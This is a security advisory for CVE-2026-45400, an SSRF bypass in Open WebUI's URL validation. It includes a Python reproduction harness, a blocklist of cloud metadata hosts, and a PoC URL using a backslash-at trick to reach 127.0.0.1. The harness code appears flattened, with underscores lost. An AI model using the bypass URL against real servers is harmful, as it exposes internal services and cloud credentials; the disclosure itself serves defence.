CVE-2026-45400: Open WebUI: Server-Side Request Forgery (SSRF) bypass in `validate_url`
Summary In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.
Details In the current project, URL validation is performed using the function validateurl.
<img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" />
The current checking logic uses urlparse to parse the hostname part of the URL for verification.
<img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" />
However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validateurl is used first for URL validation, and then requests.get is used to send the request.
<img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)
Below is a test code I wrote following the open-webui code. from future import annotations
import ipaddress import logging import os import socket import urllib.parse import urllib.request from typing import Optional, Sequence, Union import requests
log = logging.getLogger(name)
Same text as openwebui.constants.ERRORMESSAGES.INVALIDURL INVALIDURL = ( "Oops! The URL you provided is invalid. Please double-check and try again." )
Same semantics as openwebui.config (ENABLERAGLOCALWEBFETCH / WEBFETCHFILTERLIST) ENABLERAGLOCALWEBFETCH = ( os.getenv("ENABLERAGLOCALWEBFETCH", "False").lower() == "true" )
DEFAULTWEBFETCHFILTERLIST = [ "!169.254.169.254", "!fd00:ec2::254", "!metadata.google.internal", "!metadata.azure.com", "!100.100.100.200", ] webfetchfilterenv = os.getenv("WEBFETCHFILTERLIST", "") if webfetchfilterenv == "": webfetchfilterenvlist: list[str] = [] else: webfetchfilterenvlist = [ item.strip() for item in webfetchfilterenv.split(",") if item.strip() ] WEBFETCHFILTERLIST = list( set(DEFAULTWEBFETCHFILTERLIST + webfetchfilterenvlist) )
def getallowblocklists(filterlist): allowlist = [] blocklist = []
if filterlist: for d in filterlist: if d.startswith("!"): blocklist.append(d[1:].strip()) else: allowlist.append(d.strip())
return allowlist, blocklist
def isstringallowed( string: Union[str, Sequence[str]], filterlist: Optional[list[str]] = None ) -> bool: if not filterlist: return True
allowlist, blocklist = getallowblocklists(filterlist) strings = [string] if isinstance(string, str) else list(string)
if allowlist: if not any(s.endswith(allowed) for s in strings for allowed in allowlist): return False
if any(s.endswith(blocked) for s in strings for blocked in blocklist): return False
return True
def resolvehostname(hostname): # Get address information addrinfo = socket.getaddrinfo(hostname, None)
# Extract IP addresses from address information ipv4addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET] ipv6addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET6]
return ipv4addresses, ipv6addresses
def validatorsurlaccept(url: str) -> bool: """ Stand-in for python-validators url(): True if string looks like http(s) URL with host. """ try: u = url.strip() if not u: return False p = urllib.parse.urlparse(u) if p.scheme not in ("http", "https"): return False if not p.netloc: return False return True except Exception: return False
def ipv4private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 4 and a.isprivate except ValueError: return False
def ipv6private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 6 and a.isprivate except ValueError: return False
def validateurl(url: Union[str, Sequence[str]]): if isinstance(url, str): if not validatorsurlaccept(url): raise ValueError(INVALIDURL)
parsedurl = urllib.parse.urlparse(url)
# Protocol validation - only allow http/https if parsedurl.scheme not in ["http", "https"]: log.warning( f"Blocked non-HTTP(S) protocol: {parsedurl.scheme} in URL: {url}" ) raise ValueError(INVALIDURL)
# Blocklist check using unified filtering logic if WEBFETCHFILTERLIST: if not isstringallowed(url, WEBFETCHFILTERLIST): log.warning(f"URL blocked by filter list: {url}") raise ValueError(INVALIDURL)
if not ENABLERAGLOCALWEBFETCH: # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses parsedurl = urllib.parse.urlparse(url) # Get IPv4 and IPv6 addresses ipv4addresses, ipv6addresses = resolvehostname(parsedurl.hostname) # Check if any of the resolved addresses are private # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader for ip in ipv4addresses: if ipv4private(ip): raise ValueError(INVALIDURL) for ip in ipv6addresses: if ipv6private(ip): raise ValueError(INVALIDURL) return True elif isinstance(url, Sequence): return all(validateurl(u) for u in url) else: return False
if name == "main": logging.basicConfig(level=logging.INFO) # url = "https://127.0.0.1:6666\@1.1.1.1" url = "https://127.0.0.1:6666" validateurl(url) response = requests.get(url) print(response.text)
As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.
<img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" />
However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validateurl is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.
<img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" />
PoC http://127.0.0.1:6666\@baidu.com
Impact SSRF
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability. This vulnerability is fixed in 0.9.5.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45400?
The severity of CVE-2026-45400 is high with a CVSS score of 8.5.
How do I fix CVE-2026-45400?
To fix CVE-2026-45400, update to the latest version of the open-webui software as detailed in the project's release notes.
What type of vulnerability is CVE-2026-45400?
CVE-2026-45400 is a Server-Side Request Forgery (SSRF) bypass vulnerability caused by a parsing difference between urlparse and requests libraries.
What products are affected by CVE-2026-45400?
CVE-2026-45400 affects the open-webui project, specifically the versions prior to the fix in their latest release.
What is the impact of CVE-2026-45400?
The impact of CVE-2026-45400 includes potential unauthorized access to internal systems or data due to SSRF.